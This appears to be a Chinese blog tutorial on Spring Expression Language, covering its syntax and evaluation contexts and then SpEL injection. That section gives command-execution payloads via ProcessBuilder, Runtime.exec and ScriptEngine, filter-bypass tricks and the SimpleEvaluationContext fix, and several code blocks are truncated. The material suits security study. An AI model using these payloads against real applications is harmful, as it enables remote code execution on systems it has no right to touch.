SpEL表达式注入
概述
Spring Expression Lanuage(SpEL),Spring语言表达式,是一个支持查询和操作运行时对象导航图功能的强大的表达式语言,语法类似于传统EL。创建的初衷是为了给Spring社区提供一种简单而高效的表达式语言,一种可贯穿整个Spring产品组的语言。这种语言特性基于Spring产品的需求而设计。虽然SpEL引擎作为Spring组合里的表达式解析的基础,但不直接依赖于Spring。
应用场景
SpEL的设计初衷是为了简化开发工作,提供一种在运行时动态解析和执行表达式的机制,常用于如下场景:
- 配置Bean的属性值(配合
@Value注解) - Spring Security权限表达式
- Spring Data JPA查询表达式
- 条件逻辑控制(如SPEL条件注解
@ConditionalOnExpression) - 模板引擎中处理动态数据
- 静态方法调用或对象动态构造
用法
注解@Value中
1 | //@Value能修饰成员变量和方法形参 |
demo:
1 |
**
@Value**:Spring 的注解,用于注入值到字段、方法参数或构造函数参数中
能让我们动态从某个Bean中获取字段值注入到另一个Bean中,即从Spring容器中获取名为”user”的Bean,并注入其name属性的值
XML配置
配置Bean:
1 | <bean id="xxx" class="com.java.XXXXX.xx"> |
**
id="xxx"**:Bean 的唯一标识符**
class="com.java.XXXXX.xx"**:Bean 的完整类名**
<property>**:设置 Bean 的属性值**
name="arg"**:要设置的属性名称**
value="#{表达式}"**:使用 SpEL 表达式计算属性值
其实与@Value功能是等价的,只是配置形式不同
demo:
1 | XML配置方式: |
@Component是 Spring 框架中最基本的注解之一,用于标识一个类作为 Spring 容器管理的 Bean。
Expression
1 | SpelExpressionParser parser=new SpelExpressionParser(); |
Spel使用ExpressionParser接口表示解析器。然后使用提供的parseExpression方法来解析相应的表达式为Expression对象,最后通过Expression#getValue方法根据上下文获取表达式的值
SpEL不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是Spring应用中的通用表达式解析工具。
SpEL语法及支持的功能特性
Spel表达式以#{开头,以}结尾:
1 | #{表达式} |
以${开头,以}结尾表示属性名称引用:
1 | ${ spring.user.name } |
T(Type)运算符会调用类的作用域和方法,它返回的是一个对象,它可以帮助获取某个类的静态方法:
1 | #{T(全限定类名).方法名()} |
还支持通过new来实例化对象:
1 | #{new java.lang.ProcessBuilder(new String[]{"open", "-a", "Calculator"}).start()} |
SpEL 主要支持以下操作:
| 功能 | 示例 | 描述 |
|---|---|---|
| 文字表达式 | 'hello', 123, true |
字符串、数字、布尔值、null |
| 属性访问 | person.name |
访问对象属性 |
| 方法调用 | 'abc'.toUpperCase() |
调用实例方法 |
| 静态方法 | T(java.lang.Math).random() |
访问 Java 类的静态方法或字段 |
| 对象创建 | new java.util.Date() |
实例化对象 |
| 集合操作 | list[0], map['key'] |
访问数组、List、Map |
| 关系运算符 | age > 18 |
比较操作,如 >、<、== 等 |
| 逻辑运算符 | true and false |
and、or、not 逻辑组合 |
| 条件(三元)运算符 | score > 60 ? '及格' : '不及格' |
简化条件判断 |
| 正则表达式 | 'abc' matches '[a-z]+' |
字符串正则匹配 |
| Bean 引用 | @myBean |
引用 Spring 容器中的 Bean |
| 投影操作 | list.![name] |
从集合中提取每个元素的某个属性 |
| 过滤操作 | list.?[age > 18] |
过滤集合中满足条件的元素 |
| 变量引用 | #name, #user.age |
使用上下文中定义的变量 |
| 模板表达式 | "Welcome, #{#user.name}!" |
与字符串模板结合生成动态字符串 |
SpEL执行机制
- ExpressionParser
- EvaluationContext
ExpressionParser(表达式解析器)
用于将字符串形式的表达式解析为Expression对象:
1 | ExpressionParser parser=new ExpressionParser(); |
EvaluationContext(表达式上下文)
在执行表达式时提供变量、对象、函数等运行环境,简单来说就是表达式执行的运行环境
1 | StandardEvaluationContext context=new StandardEvaluationContext(user); |
主要有StandardEvaluationContext 和 SimpleEvaluationContext两种
有些老版本不支持SimpleEvaluationContext,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext
其中StandardEvaluationContext功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext功能受限,专为安全场景设计
| 功能类别 | StandardEvaluationContext ✅ | SimpleEvaluationContext 🛡️ | 说明 |
|---|---|---|---|
| 设置根对象 | ✅ 支持 | ✅ 支持 | 设置表达式的默认作用对象 |
| 设置变量 | ✅ 支持 | ✅ 支持 | 可使用 #varName 形式 |
| 注册自定义函数 | ✅ 支持 | ❌ 不支持 | 可用静态方法注册为函数 |
| 访问 Java 类 | ✅ 支持(T(…)) | ❌ 不支持 | 如 T(java.lang.Math).PI |
| 调用构造函数 | ✅ 支持(new) | ❌ 不支持 | 如 new java.util.Date() |
| 访问 Spring Bean | ✅ 支持(配合 BeanResolver) | ❌ 不支持 | 通过 @beanName 引用 |
| 方法调用 | ✅ 支持 | ⚠️ 仅支持 getter | 完整方法调用或属性访问 |
| 修改属性 | ✅ 支持 | ❌ 不支持 | 只读上下文不允许修改 |
| 集合筛选与投影 | ✅ 支持 | ❌ 不支持 | 如 list.?[age>18] |
| 自定义类型转换器 | ✅ 支持 | ❌ 不支持 | 用于自定义表达式值转换 |
| 安全性 | ❌ 不安全 | ✅ 高安全性 | 用户输入不应使用标准上下文 |
| 适用场景 | 内部逻辑、系统配置 | 用户输入、REST绑定等 | 用于信任 vs 不信任来源 |
SpEL表达式注入
前置条件
- 传入的表达式未过滤
- 表达式解析后调用了getValue()或setValue()
- 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)
常用POC
ProcessBuilder
1 | #{new java.lang.ProcessBuilder(new String[]{"open", "-a", "Calculator"}).start()} |
Runtime
Runtime的构造方法为private,不允许在外部通过new来获取对象,可以通过静态方法getRuntime来获取
1 | #{T(java.lang.Runtime).getRuntime().exec("open -a Calculator")} |
ScriptEngine
JDK6开始就自带ScriptEngineManager,支持在JS中调用Java对象,可以利用Java调用Js引擎的eval
1 | // nashorn 可以换成其他的引擎名称 |
s=[3]创建一个长度为3的数组
绕过
反射
1 | T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator") |
this
需要上下文环境
1 | #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc") |
#this是一个特殊的变量引用,代表 当前正在评估的上下文对象。
绕过T(过滤
1 | T%00(Class) |
这涉及到SpEL对字符的编码,%00会被直接替换为空
绕过getClass(过滤
可用getSuperclass函数代替
URL编码过滤绕过
1 | // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符 |
漏洞修复
使用SimpleEvaluationContext代替StandardEvaluationContext即可
参考
https://www.cainiaojc.com/spring/spring-expression-language-tutorial.html
https://www.cnblogs.com/k1115h0t/p/18919765#三spel支持的功能特性
https://nivi4.notion.site/SPEL-c64095c1c4214cb4b23bf4f009cb35f0





